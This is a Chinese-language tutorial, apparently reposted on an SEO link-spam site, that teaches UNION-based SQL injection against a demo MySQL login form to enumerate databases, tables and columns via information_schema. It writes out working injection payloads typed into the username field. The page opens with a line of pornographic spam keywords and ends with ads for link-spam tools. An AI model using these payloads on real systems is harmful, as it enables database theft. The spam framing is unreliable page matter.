丰满少妇理伦A片在线看,精品日产卡一卡二卡麻豆,天堂之囚在线观看,少妇富婆按摩偷人a片

  • 歡迎使用超級蜘蛛池(CJZZC)網(wǎng)站外鏈優(yōu)化,收藏快捷鍵 CTRL + D

利用SQL注入进行爆库!【进阶】


這一篇文章如何將MySQL數(shù)據(jù)庫爆庫?

上一篇【超級蜘蛛池之何謂為SQL注入?】介紹了SQL注入的基本原理和實(shí)驗(yàn)方法!

如果作為一名黑客,根本無法知道系統(tǒng)中有哪些表,表中有哪些字段,那如何將數(shù)據(jù)庫的內(nèi)容竊取出來呢?

答案就是MySQL數(shù)據(jù)有一個(gè)元數(shù)據(jù)庫,它會描述整個(gè)MySQL服務(wù)器有哪些數(shù)據(jù)庫,每個(gè)數(shù)據(jù)有哪些表,每個(gè)表有哪些字段,這就相當(dāng)于把自家房子有什么寶貝統(tǒng)統(tǒng)告訴別人了。

b18abb243fa1a89b339a36fbe6fef1c1.jpg

那這個(gè)元數(shù)據(jù)庫就一個(gè)根,只要抓住了這根據(jù),沿著:元數(shù)據(jù)庫 -> 數(shù)據(jù)庫列表->表列表->字段列表->表內(nèi)容

這個(gè)樹狀分層的檢索順序,就可以將整個(gè)數(shù)據(jù)庫內(nèi)容全部竊取出來。

一、元數(shù)據(jù)庫在哪

剛才談到MySQL里面有個(gè)元數(shù)據(jù)庫,但它在藏在哪里呢?別急,請登錄MySQL數(shù)據(jù)庫,并運(yùn)行show databases;命令,就可以獲取所有數(shù)據(jù)庫列表,如下圖所示:

圖片中標(biāo)紅色的數(shù)據(jù)庫information_schema就是元數(shù)據(jù)庫,里面應(yīng)用盡有,可以盡情開拓處女地。

進(jìn)入information_schema數(shù)據(jù)庫,看看里面有哪些數(shù)據(jù)表,使用如下命令:

我們所說的根就在SCHEMATA表,它里面描述了整個(gè)MySQL 下所有數(shù)據(jù)庫。

然后再利用TABLES表,則可以看到數(shù)據(jù)下的表名,再利用COLUMNS表,則可以看到每個(gè)表下的字段名。下面依次展示如何查看這些數(shù)據(jù)。

二、查看所有數(shù)據(jù)庫

SCHEMATA表描述所有數(shù)據(jù)庫信息,只需標(biāo)準(zhǔn)的select語句:

SELECT * FROM information_schema.SCHEMATA

即可將該表的內(nèi)容全部顯示出來:

圖中SCHEMA_NAME字段為數(shù)據(jù)庫名,從查詢結(jié)果可以知該MySQL服務(wù)器有5個(gè)數(shù)據(jù)庫。

請注意,從這里開始不再入進(jìn)入某個(gè)數(shù)據(jù)庫之后再訪問表,而是采用<數(shù)據(jù)庫名>.<表名>的標(biāo)準(zhǔn)格式來訪問某個(gè)數(shù)據(jù)庫下的表。上述的information_schema.SCHEMATA表示查詢information_schema數(shù)據(jù)庫下的 SCHEMATA表。

三、查看數(shù)據(jù)表

有了數(shù)據(jù)庫列表,就可以進(jìn)一步查看某個(gè)數(shù)據(jù)庫下所有表(當(dāng)前也可以查看所有數(shù)據(jù)庫下的所有表)。比如查看lyt_test數(shù)據(jù)庫下的所有表,使用SQL語句:

SELECT TABLE_SCHEMA, TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'lyt_test'

查詢結(jié)果如下圖所示:

TABLE_NAME表示表名,左列TABLE_SCHEMA為數(shù)據(jù)庫名,由于lyt_test數(shù)據(jù)庫下只有accounts這個(gè)表,所以輸出結(jié)果只有一列。

四、查看表中的所有字段

然后使用COLUMNS表可以查詢表的所有字段信息,使用下面SQL語句可查詢accounts表的所有字段名和類型:

SELECT TABLE_NAME, COLUMN_NAME, DATA_TYPE FROM information_schema.COLUMNS WHERE TABLE_NAME = 'accounts'

查詢出accounts表所有字段和類型信息如下圖所示:

五、查看表中的所有記錄

查看accounts表中的內(nèi)容更是小菜一碟了,學(xué)過數(shù)據(jù)庫的都知道SQL寫成下面這樣:SELECT * FROM lyt_test.accounts


那么如何利用SQL注入來竊取整個(gè)數(shù)據(jù)庫呢?,這就是要尋找的支點(diǎn)。

還記得上篇文章介紹的實(shí)驗(yàn)嗎?利用SQL注入技術(shù),可以將userinfo表中的所有數(shù)據(jù)都竊取出來。但該SQL能注入的部分只是WHERE部分,而SELECT ... FROM ...部分中的字段和表名卻是無法注入的,那怎么可以將其它表的數(shù)據(jù)竊取出來呢?

這個(gè)密秘就就是利用UNION語句。是的,標(biāo)準(zhǔn)SQL提供了UNION語句,可以將兩個(gè)SELECT結(jié)果聯(lián)合起來(即對兩個(gè)SELECT結(jié)果作并集)。UNION語句的語法如下:

  1. SELECT column_name1(s) FROM table_name1

  2. UNION

  3. SELECT column_name2(s) FROM table_name2

唯一的要求就是兩個(gè)SELECT語句的列數(shù)要相等。

有了UNION語句,就可以將 SELECT * from userinfo WHERE ... SELECT * from lyt_test.accounts兩個(gè)結(jié)果聯(lián)合起來。

那么在沒有拿到源代碼的情況,怎么知道 SELECT * from userinfo 查詢結(jié)果有多少列呢?

可通過試探方法拿到這個(gè)數(shù)值:依次注入U(xiǎn)NION SELECT 1, ... N這樣的語句來試探。先嘗試 SELECT 1, 再SELECT 1,2, 然后SELECT 1,2,3,直到不運(yùn)行出錯(cuò)為止??梢韵仍贛ySQL上測試一下,結(jié)果下圖所示:

從上圖測試結(jié)果可知UNION后面跟的SELECT結(jié)果必須是兩列,否則會出錯(cuò)。

們在注入時(shí)WHERE后是兩個(gè)條件嗎?(name = ‘name′ANDpasswd=′passswd ‘),在實(shí)際代碼中可能會是更復(fù)雜的條件,甚至黑客也很難猜測的條件,那這個(gè)UNION語然該插在那個(gè)變量呢?使得整個(gè)SQL還是個(gè)合法的查詢語句。

最好安全的做法是將UNION SELECT ...注入到第一個(gè)變量中,然后注入的尾部增加一個(gè)注釋符號,將后的語句注釋掉,就不會考慮后面的是什么語句了。在MySQL數(shù)據(jù)庫,使用#符號即可實(shí)現(xiàn)注釋。

可以做一下注入測試,驗(yàn)證一下:

在username文本框中輸入:ivan' union select 1,2#,如下圖:


點(diǎn)login 按鈕后的運(yùn)行結(jié)果如下圖所示:

union注入結(jié)果


請留注下紅框中生成的SQL語句:

SELECT * FROM userinfo WHERE name = ‘ivan’ union select 1,2# AND passwd = ”

#將后面的SQL內(nèi)容注釋掉了,MySQL解析時(shí)直接將它干掉,相當(dāng)于下面的SQL語句:

SELECT * FROM userinfo WHERE name = ‘ivan’ union select 1,2

select 1, 2的結(jié)果是常數(shù)行, 在后面的例中嘗試從表中查詢數(shù)據(jù),而不完全是常數(shù)行。

好了 ,UNION和#就是撬動爆庫的那個(gè)支點(diǎn)

七、實(shí)踐爆庫

以下實(shí)驗(yàn)都是基于《SQL注入基礎(chǔ)》一文開發(fā)的數(shù)據(jù)庫應(yīng)用demo來實(shí)驗(yàn)的,如果讀者沒有SQL注入的基礎(chǔ)知識,建議看看這篇文章;同時(shí)建議SQL注入的初學(xué)者也按此文搭建相同的數(shù)據(jù)應(yīng)用demo來實(shí)驗(yàn)測試一把。

八、爆數(shù)據(jù)庫列表

往username中注入:ivan’ union select 1,SCHEMA_NAME from information_schema.SCHEMATA #

即可查詢所有數(shù)據(jù)庫列表如下圖:

注入獲取所有數(shù)據(jù)庫

圖示標(biāo)紅色框的就是數(shù)據(jù)庫列表。我們在UNION SELECT ...語句中第一列為常數(shù)1,第二列是information_schema.SCHEMATA表中SCHEMA_NAME這一列,它剛好就是數(shù)據(jù)庫名。

九、爆某個(gè)數(shù)據(jù)庫下的所有表名

為了精減輸出結(jié)果,這里只爆lyt_test數(shù)據(jù)庫下的表名,往username中注入:

ivan’ union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = ‘lyt_test’#

即可查詢得lyt_test數(shù)據(jù)庫下所有表,如下圖所示:

注入獲取lyt_test數(shù)據(jù)庫下的表

不同的地方是lyt_test數(shù)據(jù)庫下只有accounts一個(gè)表,其它與爆數(shù)據(jù)庫原理相同。

十、爆某個(gè)表下所有字段

這里只爆accounts表下的所有字段,往username中注入:

ivan’ union select 1, COLUMN_NAME from information_schema.COLUMNS WHERE TABLE_NAME = ‘a(chǎn)ccounts

結(jié)果如下圖所示:

注入獲取字段名


標(biāo)紅的是字段名。那么類型呢? 修改注入內(nèi)容為:ivan’ union select 1, DATA_TYPE from information_schema.COLUMNS WHERE TABLE_NAME = ‘a(chǎn)ccounts’

就可以獲取字段類型信息,如下圖所示:

注入獲了字段類型

標(biāo)紅色的分別是前面兩個(gè)字段的類型,即ID類型為char, balance類型為float。

從上面可以發(fā)現(xiàn)規(guī)律:每個(gè)注入可以獲取到目標(biāo)表中的每個(gè)列表數(shù)據(jù), 如果表中有N表,注入N次可以獲取完整的表信息。

總結(jié)

SQL注入爆數(shù)據(jù)庫就是這么容易的,但有幾個(gè)必備條件:

  1. MySQL中出現(xiàn)一個(gè)元數(shù)據(jù)庫information_schema,它描述整個(gè)MySQL服務(wù)器所有數(shù)據(jù)庫->表->字段關(guān)系樹

  2. SQL語言提供了UNION語句,可以新增竊取其它數(shù)據(jù)合并到被注入SELECT結(jié)果

  3. MySQL對SQL做擴(kuò)展,提供注釋符#


本文鏈接:http://www.hkass.cn/article/131.html

超級蜘蛛工具

  • 網(wǎng)站鏈接HTTP狀態(tài)批量檢測_在線批量檢測網(wǎng)站鏈接狀態(tài)_超級蜘蛛池
  • 百度關(guān)鍵詞排名查詢_網(wǎng)站關(guān)鍵詞排名批量查詢_超級蜘蛛池
  • 百度收錄查詢_在線百度收錄批量查詢_超級蜘蛛池
  • 域名IP地址批量查詢_在線批量查詢網(wǎng)站IP地址_超級蜘蛛池
  • 超級外鏈發(fā)布工具_(dá)在線免費(fèi)批量發(fā)布SEO外鏈_超級蜘蛛池
  • 網(wǎng)頁蜘蛛模擬抓取測試工具_(dá)超級蜘蛛工具_(dá)超級蜘蛛池